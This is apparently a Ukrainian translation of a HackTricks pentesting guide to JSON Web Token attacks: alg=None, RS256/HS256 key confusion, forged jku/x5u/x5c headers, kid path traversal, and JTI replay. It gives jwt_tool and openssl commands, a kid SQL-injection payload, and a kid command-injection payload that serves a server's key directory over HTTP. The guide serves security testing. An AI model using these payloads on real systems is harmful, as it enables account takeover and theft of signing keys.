JWT Vulnerabilities (Json Web Tokens)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо вас цікавить кар'єра хакера і взламати невзламне - ми шукаємо співробітників! (вимагається вільне володіння польською мовою, як письмово, так і усно).

Частина цього поста базується на чудовому пості: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology Автор великого інструменту для пентесту JWTs https://github.com/ticarpi/jwt_tool

Швидкі перемоги

Запустіть jwt_tool у режимі All Tests! та зачекайте на зелені рядки

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Якщо ви щасливчик, то інструмент знайде випадок, коли веб-застосунок неправильно перевіряє JWT:

Потім ви можете знайти запит у своєму проксі або витягнути використаний JWT для цього запиту за допомогою інструменту jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Зміна даних без зміни чого-небудь

Ви можете просто змінити дані, залишаючи підпис як є і перевірити, чи сервер перевіряє підпис. Спробуйте, наприклад, змінити своє ім'я користувача на "admin".

Чи перевіряється токен?

Щоб перевірити, чи перевіряється підпис JWT:

  • Повідомлення про помилку вказує на проведення перевірки; чутливі деталі в розширених помилках слід переглянути.

  • Зміна на повернутій сторінці також вказує на перевірку.

  • Відсутність змін вказує на відсутність перевірки; це час для експериментів з модифікацією вимог пакета.

Походження

Важливо визначити, чи токен був згенерований на стороні сервера чи клієнта, оглядаючи історію запитів проксі.

  • Токени, вперше побачені зі сторони клієнта, вказують на те, що ключ може бути викритий коду на стороні клієнта, що потребує подальшого дослідження.

  • Токени, походжені зі сторони сервера, вказують на безпечний процес.

Тривалість

Перевірте, чи токен діє більше 24 годин... можливо, він ніколи не закінчується. Якщо є поле "exp", перевірте, чи сервер правильно його обробляє.

Перебір секрету HMAC

Див. цю сторінку.

Зміна алгоритму на None (CVE-2015-9235)

Встановіть використовуваний алгоритм як "None" та видаліть частину підпису.

Використовуйте розширення Burp з назвою "JSON Web Token", щоб спробувати цю вразливість та змінити різні значення всередині JWT (надішліть запит до Repeater, а в вкладці "JSON Web Token" ви можете змінити значення токена. Ви також можете вибрати значення поля "Alg" як "None").

Зміна алгоритму RS256(асиметричний) на HS256(симетричний) (CVE-2016-5431/CVE-2016-10555)

Алгоритм HS256 використовує секретний ключ для підпису та перевірки кожного повідомлення. Алгоритм RS256 використовує приватний ключ для підпису повідомлення та використовує публічний ключ для аутентифікації.

Якщо змінити алгоритм з RS256 на HS256, код на боці сервера використовуватиме публічний ключ як секретний ключ, а потім використовуватиме алгоритм HS256 для перевірки підпису.

Потім, використовуючи публічний ключ та змінюючи RS256 на HS256, ми можемо створити дійсний підпис. Ви можете отримати сертифікат веб-сервера, виконавши це:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Новий відкритий ключ у заголовку

Атакуючий вбудовує новий ключ у заголовок токена, і сервер використовує цей новий ключ для перевірки підпису (CVE-2018-0114).

Це можна зробити за допомогою розширення Burp "JSON Web Tokens". (Надішліть запит до Repeater, у вкладці JSON Web Token виберіть "CVE-2018-0114" та надішліть запит).

Підробка JWKS

Інструкції деталізують метод оцінки безпеки токенів JWT, зокрема тих, які використовують вказівку заголовка "jku". Ця вказівка повинна посилатися на файл JWKS (набір ключів JSON Web), який містить відкритий ключ, необхідний для перевірки токена.

  • Оцінка токенів з заголовком "jku":

  • Перевірте URL вказівки "jku", щоб переконатися, що він веде до відповідного файлу JWKS.

  • Змініть значення "jku" токена, щоб спрямувати його на керований веб-сервіс для спостереження трафіку.

  • Моніторинг взаємодії через HTTP:

  • Спостереження за HTTP-запитами до вказаного URL свідчить про спроби сервера отримати ключі з наданого вами посилання.

  • При використанні jwt_tool для цього процесу важливо оновити файл jwtconf.ini з вашим особистим місцем розташування JWKS для полегшення тестування.

  • Команда для jwt_tool:

  • Виконайте наступну команду для симуляції сценарію з jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Огляд проблем з Kid

Необов'язкова вказівка заголовка, відома як kid, використовується для ідентифікації конкретного ключа, що стає особливо важливим у середовищах, де існує кілька ключів для перевірки підпису токена. Ця вказівка допомагає вибрати відповідний ключ для перевірки підпису токена.

Розкриття ключа через "kid"

Коли вказівка kid присутня у заголовку, рекомендується шукати веб-каталог для відповідного файлу або його варіантів. Наприклад, якщо вказано "kid":"key/12345", то файли /key/12345 та /key/12345.pem слід шукати в корені веб-сайту.

Обхід шляху за допомогою "kid"

Вказівка kid також може бути використана для навігації через файлову систему, що потенційно дозволяє вибрати довільний файл. Можливо провести тестування на з'єднаність або виконати атаки на вразливість сервера з використанням зміни значення kid для спрямування на конкретні файли або сервіси. Змінити JWT для зміни значення kid, зберігаючи оригінальний підпис, можна за допомогою прапорця -T у jwt_tool, як показано нижче:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Під час спрямовання на файли з передбачуваним вмістом можливо створити дійсний JWT. Наприклад, файл /proc/sys/kernel/randomize_va_space в системах Linux, відомий як містить значення 2, може бути використаний у параметрі kid з 2 як симетричний пароль для генерації JWT.

SQL Injection через "kid"

Якщо вміст параметра kid використовується для отримання пароля з бази даних, можливий SQL-ін'єкція шляхом модифікації навантаження kid. Приклад навантаження, яке використовує SQL-ін'єкцію для зміни процесу підпису JWT, включає:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Ця зміна змушує використовувати відомий секретний ключ, ATTACKER, для підпису JWT.

Впровадження ОС через "kid"

Сценарій, де параметр kid вказує на шлях до файлу, використовуваного в контексті виконання команд, може призвести до вразливостей на віддалене виконання коду (RCE). Шляхом впровадження команд у параметр kid, можливо викрити приватні ключі. Приклад навантаження для досягнення RCE та викриття ключів:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u та jku

jku

jku означає URL набору JWK. Якщо токен використовує заявку заголовка "jku", перевірте надану URL. Вона повинна вказувати на URL, що містить файл JWKS, який містить публічний ключ для перевірки токена. Змініть токен, щоб вказати значення jku на веб-сервіс, трафік якого ви можете контролювати.

Спочатку вам потрібно створити новий сертифікат з новими приватними та публічними ключами

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Потім ви можете використовувати, наприклад, jwt.io, щоб створити новий JWT з створеними публічними та приватними ключами та вказати параметр jku на створений сертифікат. Для створення дійсного сертифіката jku ви можете завантажити оригінальний та змінити необхідні параметри.

Ви можете отримати параметри "e" та "n" з публічного сертифіката за допомогою:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у формі PEM. Перший сертифікат у наборі повинен бути використаний для підпису цього JWT. Наступні сертифікати підписують попередній, завершуючи ланцюжок сертифікатів. X.509 визначений у RFC 52807. Для передачі сертифікатів потрібно забезпечити транспортну безпеку.

Спробуйте змінити цей заголовок на URL, який перебуває під вашим контролем, і перевірте, чи надійшов будь-який запит. У цьому випадку ви можете підробити JWT.

Щоб сфальсифікувати новий токен, використовуючи сертифікат, яким ви керуєте, вам потрібно створити сертифікат та витягнути публічний та приватний ключі:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Потім ви можете використовувати, наприклад, jwt.io, щоб створити новий JWT з створеними публічними та приватними ключами та вказати параметр x5u на сертифікат .crt, створений.

Ви також можете зловживати обома цими уразливостями для SSRF.

x5c

Цей параметр може містити сертифікат у форматі base64:

Якщо зловмисник створює самопідписаний сертифікат і створює підроблений токен, використовуючи відповідний приватний ключ та замінює значення параметра "x5c" на новий сертифікат та змінює інші параметри, а саме n, e та x5t, то суттєво підроблений токен буде прийнятий сервером.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Вбудований відкритий ключ (CVE-2018-0114)

Якщо JWT містить вбудований відкритий ключ, як у наступному сценарії:

За допомогою наступного скрипту на nodejs можливо згенерувати відкритий ключ з цих даних:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Можливо згенерувати новий приватний/публічний ключ, вбудувати новий публічний ключ у токен і використовувати його для генерації нового підпису:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Ви можете отримати "n" та "e", використовуючи цей скрипт на nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Використовуючи публічний та приватний ключі та нові значення "n" та "e", ви можете використовувати jwt.io, щоб створити новий дійсний JWT з будь-якою інформацією.

JTI (JWT ID)

Поле JTI (JWT ID) надає унікальний ідентифікатор для токена JWT. Воно може бути використане для запобігання повторного відтворення токена. Проте уявіть ситуацію, де максимальна довжина ідентифікатора становить 4 (0001-9999). Запит 0001 та 10001 будуть використовувати той самий ідентифікатор. Таким чином, якщо сервер інкрементує ідентифікатор для кожного запиту, ви можете зловживати цим для повторного відтворення запиту (потрібно відправити 10000 запитів між кожним успішним повторним відтворенням).

Зареєстровані поля JWT

Інші атаки

Атаки перенаправлення між сервісами

Було помічено, що деякі веб-додатки покладаються на довірений сервіс JWT для генерації та управління своїми токенами. Були випадки, коли токен, згенерований для одного клієнта сервісу JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видання або оновлення JWT через сервіс сторонньої сторони, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу за допомогою того ж імені користувача/електронної пошти. Потім слід спробувати повторно відтворити отриманий токен у запиті до цілі, щоб переконатися, що він приймається.

  • Прийняття вашого токена може вказувати на критичну проблему, що потенційно дозволяє підробку облікового запису будь-якого користувача. Проте слід зауважити, що може знадобитися дозвіл на більш широке тестування, якщо реєстрація на додатку сторонньої сторони може потрапити в юридичну сіру зону.

Перевірка терміну дії токенів

Термін дії токена перевіряється за допомогою поля "exp" Payload claim. Оскільки JWT часто використовуються без інформації про сеанс, потрібно обережно обробляти дані. У багатьох випадках захоплення та повторне відтворення токена іншого користувача може дозволити підробку цього користувача. RFC JWT рекомендує запобігання атакам повторного відтворення JWT за допомогою поля "exp" для встановлення терміну дії токена. Крім того, важливо, щоб додаток реалізував відповідні перевірки для обробки цього значення та відхилення прострочених токенів. Якщо токен містить поле "exp" та обмеження часу тестування дозволяють, рекомендується зберігати токен та повторно відтворювати його після закінчення терміну дії. Вміст токена, включаючи розбір мітки часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапорця -R у jwt_tool.

  • Існує ризик безпеки, якщо додаток все ще перевіряє токен, оскільки це може означати, що токен ніколи не може закінчитися.

Інструменти

Якщо вас цікавить кар'єра хакера та взламати невзламне - ми наймаємо! (вимагається вільне володіння польською мовою, як письмовою, так і усною).

Вивчіть взлам AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated